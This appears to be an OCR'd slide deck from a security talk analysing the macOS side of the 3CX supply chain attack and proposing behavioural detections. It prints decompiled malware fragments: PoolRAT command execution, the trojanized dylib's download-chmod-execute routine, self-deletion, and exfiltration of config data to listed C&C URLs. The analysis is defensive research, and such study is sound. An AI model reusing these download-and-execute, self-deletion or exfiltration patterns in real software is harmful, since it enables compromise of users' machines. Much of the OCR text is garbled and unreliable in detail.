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WHAT YOU WILL LEARN

IW' Although the talk is largely focused on the 3CX supply chain
attack, we’ll also cover topics of malware analysis and detection.

- All about the 3CX supply chain attack

Heuristic-based

=== macOS malware malware detection




How WE’'RE GOING To GET THERE

o 3CX network
I
O/O\O




RESOURCES
. . .detailing various aspects of the 3CX attack

CrowdStrike %

2K CrowdStrike Falcon Platform detects and prevents active intrusion
campaign targeting 3CXDesktopApp customers.
Learn more:

tANDIANT

Google Cloud

BLOG

3CX Software Supply Chain Compromise Initiated
by a Prior Software Supply Chain Compromise;
Suspected North Korean Actor Responsible

vx-underground
Earlier today @CrowdStrike reported a supply chain attack targeting the
3CX Voice Over Internet Protocol (VOIP) Windows desktop client.

CrowdStrike Prevents 3CXDesktopApp Intrusion Campaign

- 600,000 companies use it
-12,000,000 users

@ "Active Intrusion Campaign Targeting 3CXDesktopApp Customers"

crowdstrike.com/blog/crowdstrike-detects—and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers

hired by 3CX to perform forensics / attack analysis

"3CX Software Supply Chain Compromise Initiated by a Prior Software Supply Chain Compromise"

mandiant.com/resources/blog/3cx-software-supply-chain-compromise

"Ironing out (the macOS) details of a Smooth Operator" (Part I & ITI)
objective-see.org/blog/blog 0x73.html / objective-see.org/blog/blog 0x74.html



Overview




SuprPLY CHAIN ATTACKS
definition, and statistics

"A supply chain attack ...targets a trusted third-party vendor who

|W| offers services or software vital to the supply chain. Software
supply chain attacks inject malicious code into an application in
order to infect all users of an app." -CrowdStrike

| Supply Chain Attack Statistics

= 84% believe that software supply chain attacks could become one of the biggest cyber threats to organizations like
theirs within the next three years

- Only 36% have vetted all new and existing suppliers for security purposes in the last 12 months

2 45% of respondents’ organizations experienced at least one software supply chain attack in the last 12 months,
compared to 32% in 2018

= 59% of organizations that suffered their first software supply chain attack did not have aresponse strategy

Supply chain statistics
(credit: CrowdStrike)



THE 3CX ATTACK
a diagrammatic overview /3

Trading Technologies attack #

---- ]
' >| ;E |Efx Trader b
477 -
" Korea attack #2

(N. Korean)

2nd
-stage

Our focus:

[ (macOS) backdoor

@ (macOS) installer

E) (macoOs) 2rd-stage payload



How DETECTIONS ALL BEGAN
...on the forums of 3CX (March 22nd)

Home Forums Members -~

- 3CX support: e
G

Is anyone else seeing this issue with other A/V vendors? "90 O'Sk the AV COMPO—“Y"

Post Exploitation / '

— e Penetration framework or shellcode was detected

Brendan D -
Trair:; ::rtner Evasion While that would sound ideal, there's hundreds if not thousands of AV solutions out there and wg can't always reach out

Basic Certified e Indirect command was executed to them whenever an event occurs. We use the Electron framework for our app, perhaps they ; re blocking some if its
* Code injection to other process memory space during the | functionality?

Joined: Mar 22, 2023
Messages: 3 \Device\HarddiskVolume4\Users\**\USERNAME**\AppData\Loca _ o . _
Reaction score: 6 SHA1 e272715737b51c01dc2bed0f0aee2bf6feef25f1 As you probably understand, we have no control over their software and the decisions it makes so it's not exactly our

oJETR NI nlnCaide 1 RIMI think in this case at least, it makes more sense if the SentinelOne customers contact their
ST AT I CY o] (o) (o ST g=To [ ICT-TSRWV 0 WA G TEY EETo] oS B8 Feel free to post your findings here if you get a reply.

Have a read: www.3cx.com/community/threads/threat-alerts-from-
sentinelone-for-desktop-update-initiated-from-desktop-client.119806/



FIRST REPORT / CONFIRMATION
.. .from CrowdStrike (March 29th)

N CrowdStrike % &ROWDSTRIKE BLOG

2K CrowdsStrike Falcon Platform detects and prevents active intrusion CrOWd Strike FaICOn Plathrm DeteCtS and

campaign targeting 3CXDesktopApp customers.

Learn more: Prevents Active Intrusion Campaign
Targeting 3CXDesktopApp Customers

r/crowdstrike - 3 mo. ago

N ) Andrew-CS

Join

/| 2023-03-29 /| SITUATIONAL AWARENESS /| CrowdStrike Tracking Active Intrusion
Campaign Targeting 3CX Customers //

What Happened

On March 29, 2023, Falcon OverWatch observed unexpected malicious activity emanating from a legitimate, signed
binary, 3CXDesktopApp — a softphone application from 3CX. The malicious activity includes beaconing to actor-
controlled infrastructure, deployment of second-stage payloads, and, in a small number of cases, hands-on-
keyboard activity.

CrowdStrike Prevents 3CXDesktopApp Intrusion Campaign

"Active Intrusion Campaign Targeting 3CXDesktopApp Customers"

crowdstrike.com/blog/crowdstrike-detects—and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers




BuT WHAT ABOUT MACOS?
. ..analysis via Objective-See (March 29th)

"The 3CXDesktopApp 1s available for Windows, macOS, Linux and mobile.

At this time, [malicious] activity has been observed on both Windows
and macOS" -CrowdStrike

"At this time, we cannot confirm that the Mac installer is similarly trojanized. Our
ongoing investigation includes additional applications like the Chrome extension that #
could also be used to stage attacks," SentinelOne said.

.initial confusion about impact to macOS

ﬂ Patrick Wardle

RE: The 3CX VOIP supply chain attack, vendors have stated that macOS
was also targeted - but | couldn't find any specific technical details (yet)

5% Ironing out (the macOS) details of a Smooth Operator (Part |)
we The 3CX supply chain attack, gives us an opportunity to analyze a trojanized macOS application

by: Patrick Wardle / March 29, 2023

One vendor stated, "we cannot confirm that the Mac installer is similarly
trojanized"”

.let'sdivein!1/n =

Ironing out (the macOS) details of a Smooth Operator (Part Il)
Analyzing UpdateAgent, the 2nd-stage macOS payload of the 3CX supply chain attack

by: Patrick Wardle / April 1, 2023




Persistent Backdoor

"PoolRAT"




INFECTING 3CX
(via) supply chain attack #1

T VPN creds.

¥ + loteral movement

"Eventually, the threat actor was able
to compromise both [3CX's] Windows and

O macOS build environments.. .1

The macOS build server was compromised
using a POOLRAT backdoor'" -Mandiant



POOLRAT
a lightweight macOS backdoor

"a C/C++ macOS backdoor capable of collecting basic system
information and executing commands. The commands performed include
running arbitrary commands, secure deleting files, reading and

writing files, updating the configuration." -Mandiant
53CX's build server |
infected with POOLRAT) attacker's C&C server

Capabilities
(exec, file exfil, etc...)



POOLRAT

Security vendors' analysis on 2020-06-01T02:01:52 UTC /\

.« sSeen before?

rule MTI Hunting POOLRAT {
meta:

author = "Mandiant" /,V md5 hO.Sh

md5 -1"451c23709ecd5a8461ad060f6346930c"V

j = > Detections evolution
I [ ] Detections

35
I 30 /.
[ | 25 —_—

20
I 15
l 10

- ; |
0 -— —
i) O oL L0 ok o A? e A2 & A% 02 ,(,g%

Q Q B\ Q0 Q Q 0
7/0{10 7/010 ?/0@0 Q/Q{?/Q ?/0?/0 Q/QFLQ Q/Q{?/Q Q/Q?/Q rLQr?/Q Q/Q?/Q

Mandiant's
detection rule

meta:

strings:
Ssl
Ss2
$s3

Macho

condition:

Previous analyses

2020-06-01T02:01:52 UTC

2020-06-01T15:07:48 UTC

2020-06-02T09:58:05 UTC

2020-06-03T09:21:47 UTC

2020-06-04T13:08:34 UTC

2020-06-12T08:00:40 UTC

2020-06-12T08:01:11 UTC

rule XProtect MACOS c723519 {

description = "MACOS.c723519"

{ S5F 6D 5F 43 6F 6E 66 69 67 }
{ BF 5F 5A 39 53 65 74 43 6F 6E 66 69 67 76 }
{ S5F 5F 5A 31 30 4C 6F 61 64 43 6F 6E 66 69 67 76 }

and filesize < 100KB and all of them

Apple's XProtect Signature (July, 2020)

Sample, submitted to
VirusTotal (June,

2020)

0 /56

0 /61

0 /61

2 /61

4 /61

26 /62

26 /62



BASIC TRIAGE

unsurprising, but good to know
~most analysis tools are file-type specific !

% file PoolRAT/prtspool

PoolRAT/prtspool: Mach-O 64-bit executable x86 64

File type
(64-bit Mach-0)

% codesign -dvv PoolRAT/prtspool

Executable=PoolRAT/prtspool
ITdentifier=xttm-55554944246068e99d3173e03a74c86801f09f4a9

Format=Mach-O thin (x86 64)

\ I .but with an adhoc signature

ﬁSignature=adhoc

TeamIdentifier=not set

Code signing information



BASIC TRIAGE

s strings - PoolRAT/prtspool

POST
https://
-—-%s%sContent-Disposition: form-data;
name="upload"; filename="plain.jpg"%sContent-Type: Conf : flle?

/private/etc/krb5d.conf

https://airbseeker.com/rediret.php
https://globalkeystroke.com/pockbackx.php

C&C servers?

%

_ 729Get0SInfoP15 COMINFO STRUCT

~ 210GetComInfoPl5 COMINFO STRUCT
~ 27MSG RunP11l MSG STRUCT

~ 27MSG CmdP11 MSG STRUCT

~ 7Z6MSG UpP11l MSG STRUCT

~ 78MSG DownPll MSG STRUCT

Commands®?

While embedded strings can (and should) guide you analysis efforts,
always verify via continued analysis, using a disassembler/debugger!



BASIC TRIAGE

w pipe thru c++£ilt to demangle
> nm PoolRAT/prtspoo ‘| ct++filt lk .

Load config?

D

S

0000000100003ddz Initialize ()
0000000100002161 LoadConfig ()

0000000100002837 Connect (char*, unsigned 1nt, unsigned 1nt)
00000001000036ft MSG Cmd ( MSG STRUCT¥*)
MSG STRUCT™)

MSG_STRUCT*) Comms/tasking?

(
(
0000000100003071 MSG Dir (
0000000100003 5ec MSG Run (

6660000100000687 SendPost (char*, unsigned char*,

unsigned int, unsigned char*, unsigned 1int¥*)
0000000100002604 GetOSInfo ( COMINFO STRUCT¥*) Q

Survey

Extracting method names
(via nm & c++filt)



ENCRYPTED STRINGS?
...passed to a function called 'GetTrick’

movabs
lea

mov qword [rbx], r=a
mov word [rbx+8],

mov esi Oxa *
mov ‘ Y -
call

% 11db PoolRAT/prtspool

(11db) Process 24641 stopped
callg 0x1000047da ; GetTrick (unsigned char*, unsigned 1nt)

(11db) =/10%b srai ——————————————— ¥ Ist arg: encrypted string

|
1OX3O410637O Ox4d Oer O0x57 0Ox4e Ox7a O0x24 0x04 OXOe Ox14 OX44

It's a good i1idea to decrypt strings before continuing analysis
.as they often contain (very) valuable information / insights!



STRING DECRYPTION
.. .rather trivial as (static) key 1is hardcoded

GetTrick (unsigned char*, unsigned int)

decryptor

string[1i]

string[i] ~ ord(key[i])

dec esi ; length--
je leave ; leave 1f zero
 hard-coded key
mov r8d, esi s length ____ V4 — :
lea rsi, qword [key] ' "bj28Uquxz7789Hgde73hdu8ASStream
XOor ecx, ecx 5 init index -
decrypt:
mov rax, rcx ; index into key
mov al, byte [rsi+rax] ; key[offset]
Xor byte [rdi+rcx], al ; string[index] * key[offset]
inc rcx ; index++
inc rsi ; key++
cmp r8, rcx ; index '= length? "111D6D4E30380242
jne decrypt ; continue e
| 550A45585C4C2B132
' 50125445A070A36"
I i
: key = "b]j28UJgbxz7789HgsdW73hdu8A5Stream" - .
I- B N = . def decrypt(string) . q " Swvvers
PYthOn for i in range(len(string)): —prgductversion"



CONFIG FILE

FileMonitor.app/Contents/MacOS/FileMonitor -pretty —-filter prtspool

"event" : "ES EVENT TYPE NOTIFY CREATE", » Pﬂ.th to CO“{\Q {'\Ie

"file" : { ————— e

"destination" :|"/private/etc/krb5d.conf", "}

"process" : { — I—
"pid" : 27395,

"name" : "prtspool",

"event" : "ES EVENT TYPE NOTIFY WRITE",
"file" |
"destination" : "/private/etc/krb5d.conf",
"orocess" : {
"pid" : 27395,
"name" : "prtspool",

|
|
1 %S hexdump /private/etc/krb5d.conf

] _> 00000000 2a 2a 2e 2d o4 71 71 3t o**.-dgg?7,<-;;5
00000010 2c 70 3d 31 33 71 2c¢c 3b ;,0=13q9,;:7,; " p.
00000020 2c¢ 5e 5e 5e 5e 5e 5e 5e 6 AAAAAAAAAAAAAN
00000030 oe be HSe He He LHe oe be ANNNNNANNNNNNNNNNANN




CONFIG FILE DECRYPTION
...via ChatGPT &

"Given this function disassembly, write a Python script to open
the file (extract full path from the disassembly) & decrypt the data"

def decrypt data(filename): dCCr\lPtOT

with open(filename, 'rb') as file: .
encrypted_data = file.read() Wr\'t’tﬁﬂ bV ChO.‘lZ(DPT l

decrypted data = bytearray()
for byte in encrypted data:

ﬁ decrypted byte = byte * 0x5e !
| decrypted data. append(decrypted byte)“

return decrypted data

file path = "/private/etc/krb5d.conf"
decrypted content = decrypt data(file path)
print (decrypted content)

5 python3 decryptConfig.py

bytearray (b'https://airbseeker.com/rediret.php...https://globalkeystroke.com/pockbackx.php...https://
airbseeker.com/rediret.php...https://www.woodmate.it/administrator/help/en-GB/bins/tags/taghelper.php...




(BASIC) SURVEY
macOS version, host name, etc.

int GetComInfo (COMINFO STRUCT *) {

rbx = arg0;

if (gethostname (&var 60, 0x40) !'= -1)

strcpy (rbx + 0x4, &var 60);

GetOSInfo (rbx) ;
GetInternallP (rbx) ;

# ProcessMonitor.app/Contents/MacOS/ProcessMonitor —-pretty

{

"event" : "ES EVENT TYPE NOTIFY

"orocess" : {
"pid" : 28753
- ""sw verg" N

EXECY,

"/usr/bin/sw vers",

| "arguments"™ : |
"sw vers",
"—productName"

¥ 0et name 0s via sw_vers
e.g. "ma.c0S")

C&C server

[ addr from config file )
A

Survey



TASKING
. . .and supported commands

S L L LY

. tasking..

a—n

= — — e — e

WorkThread (void¥*)

lea rl5, gqword [0x100004234] ;switch table

mov rdi, rbx

call PopMsg (. MSG STRUCT¥) ;pop message (into rbx)
mov eax, dword [rbx+4] ;extract message index
add eax, rl4dd

‘movsxd rax, dword [rlS5+rax*4]

‘add rax, rl5

| Jmp - rax ;execute handler ]

_ message handlers
77 (extracted from disasm )

MSG Up

MSG Cmd

MSG Run

MSG Dir

MSG Down

MSG Test

MSG SetPath

MSG SecureDel
MSG WriteConfig




MSG Up Command

file upload (from server, to infected host)

MSG Up (MSG_STRUCT* msg) {

rdi = msg + Oxc;

rsi = "at+";

if (*(msg + 0x110) == 0x0)
rsi = "w+";

@ rax = fopen(rdi, rsi);

@) Open file
@ rax = Recv(rl3, &var 14C, rl4, 0x0); (Path specified in command)
@ f.:'v.n.:ite(r13, rsi, Oxl, rlH);

B Receive data from C&C server

El) write out to file



MSG Cmd Command

execute a command, and return output

B -

int MSG Cmd (MSG_STRUCT* arg) ({

string = 0x42406c6b0al21947;
*(&string + 0x8) = 0x375e;
GetTrick (&string, Oxa);

@ sprintf (command, &var 360);
rax popen (&var 350, "r");

rl4

[:] rlb5

memcpy (var 370, var 368, rlb5);
Send (var 370, rl5 + 0x4, rbx);

fileno (rax) ;
read(rl4, var 368, 0x19000);

@) Decrypt string: "%s 2>&l1 &"

@) Build and execute command

E) Read output and send to C&C



Trojanized Installer
libffmpeg.dylib’




THE INFECTED 3CX INSTALLER
supply-chain attack #2

attack #2

Our focus:

B (macosS) installer




3CX Desktop App
versions: v18.11.1213, v18.12.416

0 x [Volumes[3CXDesktopApp-18.12.416

[Volumes/3CXDesktopApp-18.12.416

g 5igned & notarized
" means: Apple scanned & “approved” it !

3CX Desktop App 1s valldly(51gned & notarlzedﬂ

l
(Signer: Apple Dev-ID) .

cx 3CX Desktop App

/Volumes/3CXDesktopApp-18.12.416/3CX Desktop App.app

CX _b/ﬁ\j Item Type: Application
- Hashes: Vie
a Entitled: View Entitl
3CX Desktop App Applications

Sign Auths: > Developer ID Application: 3CX (33CF4654HL)
> Developer ID Certification Authority
o 3CXDesktopApp-18.12.416 > Apple Root CA

"At this time, we cannot confirm that the Mac
installer is similarly trojanized" -SentinelOne (3/29) @ @



Finding the needle
...1n the ~400mb haystack

cd /Volumes/3CXDesktopApp-18.12.416/3CX\ Desktop\ App.app

du —-h

381M /Volumes/3CXDesktopApp-18.12.416/3CX Desktop App.app

~400 mb app
-type £ | wc -1 W/ 100+ files'!

% 1ls Contents/Frameworks/Electron\ Framework.framework/Versions/A/Libraries

1ibEGL.dylib
1ibGLESvV2.dylib
libffmpeg.dylib

No security vendors and no sandboxes flagged this file as malicious

ab4fa9f1c76457ecchH8402142a8728ce34ccba378c17318b3340083eeb7acc67 @
libffmpeg.dylib @

libffmpeg.dylib



libffmpeg.dylib

O

$ otool -L "3CX Desktop App.app/Contents/Frameworks/Electron
Framework.framework/Versions/A/Electron Framework"

4_________-_-_--------

Electron

otool -L "3CX Desktop App.app/Contents/MacOS/3CX Desktop App"
Framework

|
|
|
e — * — I
@rpath/Electron Framework.framework/Electron Framework |m w m m 1

Dependencies — oo

file "3CX Desktop App.app/Contents/Frameworks/ llbffmpeg,dyllb

FElectron Framework.framework/Versions/A/Libraries/libffmpeg.dylib"

libffmpeg.dylib: Mach-0O 64-bit dynamically linked shared library x86 64
libffmpeg.dylib: Mach-0 64-bit dynamically linked shared library armb6i4

File type: universal dynamic library



libffmpeg.dylib
and its constructor (x86 64 only!)

automatically executed when
the library is loaded (e.9. when the 3CX app is run)

EntryPoint:
Section XOor eax, eax
sectname @ mod init func Jmp run_avcodec

segname DATA _ 7
Laddr 0x0000000000275d90 |

size 0x0000000000000008

run_avcodec:

push rax
movabs rax, Oxaaaaaaaaaaaaaaaa
mov rdi, rsp
" mod 1n1t func" mov qgqword [rdi], rax
lea rdx, gword [0x48430]
(Intel x86 64) xor esi, esi
_Xor _  eCX, EeCX —
_call  pthread createt
- pop "~ rax -
ret

The arm64 version, has no constructor,
nor apparent malicious subversions (...and thus 1is pristine).



Thread function
large, and suspicious!

600+ lines disassembled |

int sub 48430() {
rsp = rsp - 0x2400;
rax = getenv ("HOME") ;
if (rax == 0x0) goto loc 48965;

. 600 more lines!

/V ~including xor decryption

do {
*(rsp + rax + 0x1b40) = *(rsp + rax + 0x1b40) * Ox7a;

rax = rax + 0x1;
} while (rax '= 0x32);

How to debug a. dynamic library?
[ such as the suspicious libffmpeqg.dylib )

O'n

-




Debugging a Dylib
simple loader, and 1lldb (debugger)

_w compile as x8b_61
[ as we want to debug the Intel dylib )

#import <dlfcn.h>
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {

void * handle = dlopen(argv[l], RTLD LOCAL | RTLD LAZY);
dispatch main() ;

% 11db loader libffmpeg.dylib

lelb lOader (L1db) target create "loader" (x36 064)
(11db) settings set -- target.run-args libffmpeg.dylib"

(L1ldb) b pthread create
(1l1db) run

Process 6bbb stopped
* thread #1, stop reason = breakpoint 1.1

libsystem pthread.dylib pthread create:
-> 0x7f££81c81c4d445 <+0>: xorl 5r8d, %r8d

Breakpoint on thread creation



Rebase
simple loader, and 1lldb (debugger)

(L1db) 1mage 1list

(1511 4CA4C445F-5555-3144-A1E5-50E749C861FD| 0x000

S ——

Base Address: 0x000000010a000000

(11db) b 0x10a048430
Breakpoint 2: address = 0x000000010a048430

(11db) continue

(@) List images (load addresses)

Process 6bb stopped

* thread #2, stop reason = breakpoint 2.1
libffmpeg.dylib™ = 11ldb unnamed symboll736:
-> 0x10a048430 <+144>: pushg %rbp

@) Rebase library in disassembler

[E)) Breakpoint on address
of the thread function




String Encryption / Decryption
...trivial, as it s just a XOR loop (key: O0x7a)

,,,,, w encrypted strings
"xor  byte [var 8C8],
'inc N rax -
cmp rax, 0x32
Jne loop

#!/usr/bin/Python3
key = Ox7a

with open (libffmpeg.dylib, "rb") as in, open("out.txt", "wb") as out:

content = in.read()

out.write (bytes (byte * key for byte in content)) C&C O.ddfCSSCS
v"*\“?_f /

user-agent, etc.
officestoragebox.com/api/biosync

visualstudiofactory.com/groupcore

Ll o b.dc.ﬁilla/S .0 (Windows NT 10.0; Win64,; x64)
D AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
108.0.5359.128 Safari/537.36



Capabilities
1)

F'ileMonitor.app/Contents/MacOS/FileMonitor —-filter loader
"event" : "ES EVENT TYPE NOTIFY OPEN",
"file" ¢ {

"destination" : "/System/Library/CoreServices/SystemVersion.plist",
"process": {

"name": "loader",

macOS version (from SystemVersion.plist)

A
i
i
i
i
== Survey string: "13.3;Users-MacBook-Pro.local;6180;14"
i

(11db) po S$rdi
<NSMutableURLRequest: 0x60000000c000> { URL: https://akamaitechcloudservices.com/v2/fileapi }

w cookie, with uuid, encrypted survey, etc.

(lldb) Bele Srdx

‘BCX auth 1d= fcd5694a aa69 393f b3ed- 5@1057a616f1 3cx auth token content— X8uY9vZ9x[8x]
1y 7{a&sem1>{b9}c yXE'Y<&c°ng&dol>hF)1B)jC&plus>kK(lK&per>dNOeF2eG(pL)hR JJomL—-tO-
11V5tW4sX7sY&sem1>sZ6u[ ]; tutma true

*.--------




Capabilities

B download & execute
_w hardcoded name: "UpdateAgent"

000000000023d226 db "UpdateAgent", 0

stream = fopen (path, "wb");
fwrite (data, size, 0xl, stream);
fflush (stream) ;

fclose (stream) ;

chmod (path, 7550) ;

popen (path, "r");

Cj Write out binary from server to "UpdateAgent"
(~/Library/Application Support/3CX Desktop App/)

"UpdateAgent"

@) Make it executable (755)

) Execute it



2nd-Stage Payload
‘UpdateAgent’




supply-chain attack #2

THE INFECTED 3CX INSTALLER /3

A

attack #2
2nd
-stage

i
i
i
i
i
i
i
i
i
i
i
f i
Our focus: A
\ 4

i % |

E) (macos) 2rd-stage payload




BASIC TRIAGE

000000000023d226 db "UpdateAgent'", O % file UpdateAgent

stream = fopen(path, "wb"); UpdateAgent: Mach-O 64-bit executable x86 64
fwrite (data, size, 0xl, stream);

chmod (path, Oxled) ; i
popen (path, "r"); File type

(64-bit Mach-0)

lst-stage = ====-p 2nd-gtage

% codesign -dvvv UpdateAgent

Executable=/Users/user/Library/Application Support/3CX Desktop App/UpdateAgent
Identifier=payload2-55554944839216049d683075bc3£f5a8628778bb8
CodeDirectory v=20100 si1ze=450 flags=0x2 (adhoc) hashes=6+5 location=embedded

oy signed” .but adhoc

o

| Signature=adhoc /|

Code signing information
(adhoc)



BASIC TRIAGE

5 strings - UpdateAgent

$s/Library/Application Support/3CX Desktop App/config.json

https://sbmsa.wiki/blog/ insert
3cx auth 1d=%s;3cx auth token content=%s; tutma=true

"url": "https:// COnflg file?
"AccountName": "

URLW1ithString: @
requestWithURL:

addValue:forHTTPHeaderField: C&C Server?
dataTaskWithRequest:completionHandler:

Unlike libffmpeg.dylib i1t appears that most of the
embedded strings i1n UpdateAgent, are not obfuscated



Self-Deletion

... fOr self-defense?

"We could see the execution of
int main(int argc, char * argv[]) { something called UpdateAgent and a
hash but 1t had self-deleted [so

if (fork() == 0) ({
w self-delete couldn't be collected]" -SentinelOne

| uniink(argv[O]);i

# FileMonitor.app/Contents/MacOS/FileMonitor -filter UpdateAgent

S — — AP delete file

d"event" X "ES _EVENT TYPE NOTIFY UNLINK"

1le

"destination" : "~/Library/Application Support/3CX Desktop Apd/UpdateAgent"J

"oprocess" : {
"name" : "UpdateAgent",
"path" : "~/Library/Application Support/3CX Desktop Ap&
L

Observing self-deletion
(via a file monitor)



Reading 3CX's config. json

...to extract provisioning file & account name

int parse json config(char* user) ({
sprintf (path, "%s/Library/Application Support/3CX Desktop App/config.json", user);

Stream = fOpen (path ’ " r" ’ b “urlu

fread (buffer, rsi, Oxl, st ;o . . .
read(buffer, rsi, Oxl, stream); contains xml provisioning file for the VOIP system
rax = strstr(&var 1030, "\"url\": \"https://");

rax = strstr(&var 1030, "\"AccountName\": \"");

# FileMonitor.app/Contents/MacOS/FileMonitor -filter UpdateAgent

— T — L TS
: "ES EVENT TYPE NOTIFY OPEN", 7}

"destination" : "~/Library/Application Support/3CX Desktop App/config.json",

"orocess" : {
"name" : "UpdateAgent",
"path" : "~/Library/Application Support/3CX Desktop App/UpdateAgent"

Observing config.json access
(via a file monitor)



Transmit data to C&C Server
...and then, ...nothing? (exits)

Info from 3CX config file
(encrypted)

t g C&C server

o/o send post("https://sbmsa.wiki/blog/ insert", &paramString, &request);

int main(int argc, const char * argv[]) ({ .JlfteX'fCSPOﬂseq
J;ééponse = send post("https://sbmsa.wiki/blog/ insert", &paramString, &request); : 0.|W0.\[5 ()U.S‘t) CXHZS
. 1f (response !'= 0x0) { - :
|

free (response) ;

}

return 0; w éij

_ _ — - T e — — — — —  — PR -




Why?
...a few thoughts

@ Different victims,
get different payloads

Payload #1 Payload #2

T &

w Still in informa.tion gathering stage

B The attack was detected
early (enough)

@ ). A.Guerrero-Saade

| also have to recognize that this isn’t the next ‘SolarWinds’... BECAUSE it
was seen this early on. Had this gone on for another month or so, we’d
be at a fullblown CCleaner- or SolarWinds-style broad enabler op
(“Fishing with Dynamite”, as | like to call them)

m J. A. Guerrero-Saade @|uanand

i . plying to @juanandres_gs
That’s up to say, the attacker gets thousands of victims, collects
everything they need for future compromises, profiles their haul, and

decides how to maximize that access. Think— trojanizing CCleaner
suspected of leading to @ASUS LiveUpdate compromise.




Protection & Detection
Via heuristics (behaviors)




What doesn't work
@ preventing supply chain attacks

... [and] just because a software product was validated in the past
doesn’ t mean that software is secure today" -CrowdStrike

developer’s computer
~\ou can't control/secure y !

> O
rﬁ\

: "Today, the average software project has 203 dependencies

( ) your network

a—




What doesn't work

B sticking to open-source software that you compile

&) o vere You can't compile most my open-source

tools without your own entitlement
Creating an open-source tool for macOS in 2020: @

B Buy Mac ($1000+) 7 .which Apple isn't going to give you. :\

& Create Apple Dev. Account ($99/yr) fj
pin_Create company (Entitlementpre-req)
;r ¢ Beg for Entitlement(s)
,10 Create/Install Signing Profile
Write code (yay!)
z WWW.JIT%BG!CEQGG WHY CHOOSE JMT? DOWNLOAD JMT Al HELP & SUPPORT FAQS ﬂ also

& Sign w/ Profile 0 Korea
® Notarize w/ Apple

Trading Platform

Wri tlng open—-source ] [Innovative Software and Reliable

',f Hardware
Ik

software on macOS

:- A [

Source code

Pre-built bins




What doesn't work

E) Apple s security (e.g. notarization)

Notarization

(Signer: Apple Dev-ID)

Notarization is a malware scanning service provided by Apple. Developers
who want to distribute apps for macOS outside the App Store submit their

apps for scanning as part of the distribution process. Apple scans this CX 3CX Desktop App
software for known malware and, if none is found, issues a Notarization M0 ST ot a0t S LT
ticket. Typically, developers staple this ticket to their app so Gatekeeper “e:a:::: Jpptication
can verify and launch the app, even offline. Entitled: view Entitlements
Sign Auths: > Developer ID Application: 3CX (33CF4654HL)

> Developer ID Certification Authority
> Apple Root CA

Apple Platform Security

Issues:

macOS & users trust notarized software

AN

[it's really more about Apple @ 3

Jcellmg us what we can run our Macs )
macOS blocks non- notar:L zed software )




What Might Work

maybe version diffing?

A required capability for detecting supply chain compromises is the ability to track the
evolution of software packages through differential analysis of their contents. This
includes the raw metadata properties of each software component in the release, as
well as their respective behaviors. Inex r NQ tw uilc [§]fe

» thoughts from
" Reversinglabs

] aca 0 investigate & ' This becomes even more
important when software packages include components that are pre-compiled at

3CX App]_ica tion . offsite locations and, therefore, not subject to review prior to deployment.

L
v18.10.461

new constructor % otool -1 /VolumeS/BCXDesktopAp 18.11.1213/
-- - E E EEmm = > '3CX DeSktOp App.app/. /lerarles/llbffmpeg dyll

|

e

vli8.11.1213+ L —mod _1nit_func

segname
addr OXOOOOOOOOOOZ75d9O
size 0x0000000000000008




What Does Work?

detecting malicious behaviors

.. .employ solutions that include behavioral-based attack detection"

"Supply chain attacks are hard to detect.
( ) -CrowdStrike

A few ideas:

1) 8 "‘\* 3 I'Dﬁ‘

Network anomalies Untrusted processes Unusual behavior




Network Detection

3CK.com

e B

Per Virustotal, nothing detects this as malware:
https://www.virustotal.com/gui/file/5d99efa36f34aabb43cd81e77544961c5c8d692c96059fef92c2df2624550734

That was last scanned 20 minutes before my post
This include S1 ML

View attachment 34847
So it's strange and | suspect the issue isn't the app itself but instead how the app updates itself or something similar.

My detection was by Crowdstrike - (ECREEVERAVERE: e g i CladehROE-ABN S [oF511 - msstorageboxes .com

% DNSMonitor.app/Contents/MacOS/DNSMonitor
[ {

"Process" : {
"pid" : 40029,
"path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App

by
"Packet" : {

"QR" : "Quer | A ,

h“QuEEfidns":[ {

| "Question Name"
"Question Class" :

"DNS Monitor"
(github.com/objective-see/)


http://msstorageboxes.com

Blocking Non-platform / Non-notarized
intercepting process execution (e.g. UpdateAgent')

@property es client t* esClient;
es event type t events[] = {ES EVENT TYPE AUTH EXEC};
_ callback for

/7 ProCcess Execs

xeﬂs;_new_client(&esClient, *(es_client t *clie, mse_t *e) |

¥

}

es subscribe (endpointProcessClient, events, 1);

ES Process Exec Monitor
(E S EVENT TYPE AUTH EXEC )

"Writing a Process Monitor with Apple's Endpoint
Security Framework" objective-see.com/blog/blog 0x47.html



Blocking Non-platform / Non-notarized
classify binary (and block 1f needed)

SecCodeRef codeRef = <from pid, audit token, path, etc.>

SecRequirementRef isAppleReq = nil;
SecRequirementRef i1sNotarizedReq = isNotarizedReq;

SecRequirementCreateWithString (CFSTR ("anchor apple'"), kSecCSDefaultFlags, &isAppleReq) ;
SecRequirementCreateWithString (CFSTR ("notarized"), kSecCSDefaultFlags, &isNotarizedReq) ;

if( ('SecCodeCheckValidity (codeRef, kSecCSDefaultFlags, isAppleReq) &&
(! SecCodeCheckValidity (codeRef, kSecCSDefaultFlags, isNotarizedReq)) ({

— —

|

' //untrusted process ]
m // block via ES AUTH RESULT DENY |

@ BlockBlock

Passive Mode
Silently run without alerts, applying existing rules.

O FUll COde . BlOckBlock I | New persistence events will be allowed, though logged.
github.com/objective-see/BlockBlock

No Icon Mode
Run without showing an icon in the status menu bar.

S —

Notarization Mode
Block and alert on (user-launched), un-notarized code.




Other Anomalous Behaviors

int main(int argc, const char * argv[]) {

i1f (fork() == 0) {
Znd-stage payload:
self-deletes, via unlink

|
i

unlink(argv[O]);w

 /
'0

# FileMonitor.app/Contents/MacOS/FileMonitor -filter UpdateAgent
{

1A

* "event" : "ES EVENT TYPE NOTIFY UNLINK",
S - —
u "destination" : "~/L1brary/Appllcatlon Support/BCX Desktop App/UpdateAgent" |
responsible process "process" : {
== file being deleted "pid" @ 38206,

IndateAgent"

e —

"~/L1brary/Appllcatlon Support/BCX Desktop App/UpdateAgent"

Self-deletion ("UpdateAgent')



Conclusions
& take aways




TAKEAWAYS

Supply Chain Attacks Trends:

T Prevalence

T Complexity
T Impact (even to macOS)

' By studying the components, we can gain
an in-depth understanding of these threats.

Behavior-based heuristics offer the
best (only?) approach of detection.




Interested in Learning More?
read, 'The Art of Mac Malware' book(s)

Books about Mac Malware

' l
by Patrick Wardle COM\V\Q Soon:

Vol. IL: (programma.tic) detection

